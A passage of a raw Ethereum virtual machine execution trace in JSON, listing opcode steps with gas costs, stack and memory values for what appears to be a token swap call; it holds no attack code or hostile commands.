00000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15111,"op":"ISZERO","gas":101966,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15112,"op":"AND","gas":101963,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15113,"op":"ISZERO","gas":101960,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15114,"op":"PUSH2","gas":101957,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15117,"op":"JUMPI","gas":101954,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0","0x1","0x3b15"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15125,"op":"JUMPDEST","gas":101944,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15126,"op":"POP","gas":101943,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15127,"op":"MUL","gas":101941,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x3e5","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15128,"op":"SWAP1","gas":101936,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14f9","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15129,"op":"JUMP","gas":101933,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x10e3cc5b0568a440000","0x14f9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5369,"op":"JUMPDEST","gas":101925,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5370,"op":"SWAP1","gas":101924,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5371,"op":"POP","gas":101921,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5372,"op":"PUSH1","gas":101919,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5374,"op":"PUSH2","gas":101916,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5377,"op":"DUP5","gas":101913,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5378,"op":"DUP4","gas":101910,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5379,"op":"PUSH2","gas":101907,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5382,"op":"JUMP","gas":101904,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x10e3cc5b0568a440000","0x0","0x1507","0xc50dfd48a20630e6","0x10e3cc5b0568a440000","0x3afb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0